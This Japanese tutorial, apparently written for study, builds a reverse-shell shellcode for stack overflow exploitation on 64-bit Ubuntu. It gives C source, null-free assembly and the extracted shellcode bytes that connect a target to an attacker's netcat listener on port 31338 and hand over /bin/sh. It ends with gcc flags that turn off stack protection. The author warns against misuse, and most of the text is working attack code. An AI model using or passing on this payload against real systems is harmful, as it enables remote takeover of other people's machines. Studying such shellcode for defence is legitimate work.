スタックオーバーフロー攻撃という有名な脆弱性攻撃の手法を用いて、攻撃対象のPCとのコネクションを確立し、攻撃元のPCからコマンドを打つと、それが攻撃対象のPCで実行されるようにするシェルコードを作成します。
これは勉強のために書いたコードで悪用厳禁です。まあ、色々と穴の多いコードですし、絶対に足跡がつくのでやめましょう。
最近のOSでは色々と防御策がデフォルトで動いているので、そもそも動かないこともあります。今回は、ubuntu16.04(64bit)で実験をしていたのですが、防御を下げる2つ設定を行ったことで、今回作成したシェルコードが動くようになりました。
C言語で書いてみる
まずは、行いたい処理をC言語で書き下します。
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void) {
int sockfd;
struct sockaddr_in host_addr;
char *argv[] = {"/bin//sh", NULL};
sockfd = socket(PF_INET, SOCK_STREAM, 0);
host_addr.sin_family = AF_INET; // ホストのバイト順序
host_addr.sin_port = htons(31338); // ネットワークバイト順にする(short)
host_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // 自らのIPを自動設定する
connect(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve(argv[0], argv, NULL);
return 0;
}
このプログラムは攻撃対象で実行され、攻撃元のポート31338番にTCPコネクションを確立させます。
その後、sockfd(ソケット記述子)のコピーをそれぞれ標準入力、標準出力、標準エラー出力に割り当てます。
これで攻撃元から攻撃対象に送ったコマンドが標準入力として処理され、コマンド実行によって返される標準出力、標準エラー出力が攻撃元に伝送されるようになります。
したがって、このプログラムが実行されるときは、攻撃元はポート31338番で攻撃対象からの通信を待ち受けている必要があります。この待ち受けには、以下のコマンドをターミナルで実行すればOKです。
$ nc -l -p 31338
今回は、攻撃元も攻撃対象も同じPCで行ったので、 host_addr.sin_addr.s_addr には 127.0.0.1(自分自身のIPアドレス) を設定しました。
最後にexecve関数でシェルを起動させます。
以下のコマンドでコンパイルをします。
gcc -g -o connect connect.c
アセンブラで書いてみる
実行ファイルconnectをベースにしてシェルコードを書いていきます。ここで重要なのはシェルコードの中にNULL(\x00)を入れてはならないということです。シェルコード実行時に\x00はスルーされるので、例えば
\xaa\x00\xbb
というコードは、
\xaa\xbb
と見なされ、思い描いた動作をしてくれなくなることがあります。
実際に書いたシェルコードは以下になります。上記のC言語で書いたコードをgdbを使って逐一実行しながら、この処理を行うときはレジスタがこうなってて…と色々と調べながら書きました。
.intel_syntax noprefix
.globl _start
_start:
/* socket */
xor rcx, rcx
lea rdi, [rcx+0x02]
lea rsi, [rcx+0x01]
xor rdx, rdx
lea rax, [rcx+0x29]
syscall
mov rbx, rax
/* connect(s, [2, 31338, <IP address>], 16) */
xor rcx, rcx
mov rdi, rbx
push rcx
mov r8, 0x01bbbb7f6a79ffff
inc r8
inc r8
inc r8
push r8
mov WORD PTR[rsp+0x05], cx
mov rsi, rsp
lea rdx, [rcx+0x10]
lea rax, [rcx+0x2a]
syscall
/* dup2(sock, 0) */
xor rcx, rcx
mov rdi, rbx
xor rsi, rsi
lea rax, [rcx+0x21]
syscall
/* dup2(sock, 1) */
xor rcx, rcx
mov rdi, rbx
xor rsi, rsi
inc rsi
lea rax, [rcx+0x21]
syscall
/* dup2(sock, 2) */
xor rcx, rcx
mov rdi, rbx
xor rsi, rsi
inc rsi
inc rsi
lea rax, [rcx+0x21]
syscall
/* execve(argv[0], argv, NULL) */
xor rcx, rcx
push rcx
mov rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp
xor rdx, rdx
push rdx
push rdi
mov rsi, rsp
lea rax, [rcx+0x3b]
syscall
/* exit(0) */
xor rcx, rcx
xor rdi, rdi
lea rax, [rcx+0x3c]
syscall
syscallでレジスタの値に応じたシステムコールを実行します。
コードはgccを用いてコンパイルしたので、以下のサイトが参考になりました。
なお、raxに格納すべきシステムコール番号は私の環境(ubuntu16.04 64bit)では、"/usr/include/x86_64-linux-gnu/asm/unistd_64.h"で知り得ます。
このアセンブラのコードを以下のオプションでコンパイルし、出来上がった実行ファイルからシェルコードの部分だけを取り出します。
$ gcc -nostdlib connect.s
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
こちらがシェルコードです。
\x48\x31\xc9\x48\x8d\x79\x02\x48\x8d\x71\x01\x48\x31\xd2\x48\x8d\x41\x29\x0f\x05\x48\x89\xc3\x48\x31\xc9\x48\x89\xdf\x51\x49\xb8\xff\xff\x79\x6a\x7f\xbb\xbb\x01\x49\xff\xc0\x49\xff\xc0\x49\xff\xc0\x41\x50\x66\x89\x4c\x24\x05\x48\x89\xe6\x48\x8d\x51\x10\x48\x8d\x41\x2a\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\xff\xc6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\xff\xc6\x48\xff\xc6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x51\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xd2\x52\x57\x48\x89\xe6\x48\x8d\x41\x3b\x0f\x05\x48\x31\xc9\x48\x31\xff\x48\x8d\x41\x3c\x0f\x05
これを脆弱性を持つ任意のプログラムで実行させることができれば、攻撃元で待ち受けているプログラムとのコネクションが確立され、攻撃元のPCから色々とコマンドを打つことで、リモートで攻撃対象のPCを操ることができます。
さいごに
なお、スタックオーバーフローを起こせる脆弱性を持つプログラムを作る際にはいくつかのコンパイルオプションが重要です。これについては、以下の記事も合わせて読むと理解が進みます。
単純なスタックバッファオーバーフロー攻撃をやってみる
gccのコマンド
"-fno-stack-protector"で、スタック上のカナリア値の変更を検知してプログラムを終了させる機能を無効化します。
"-z execstack"で、スタック上にあるコードの実行を有効にします。
gcc -fno-stack-protector -z execstack hoge.c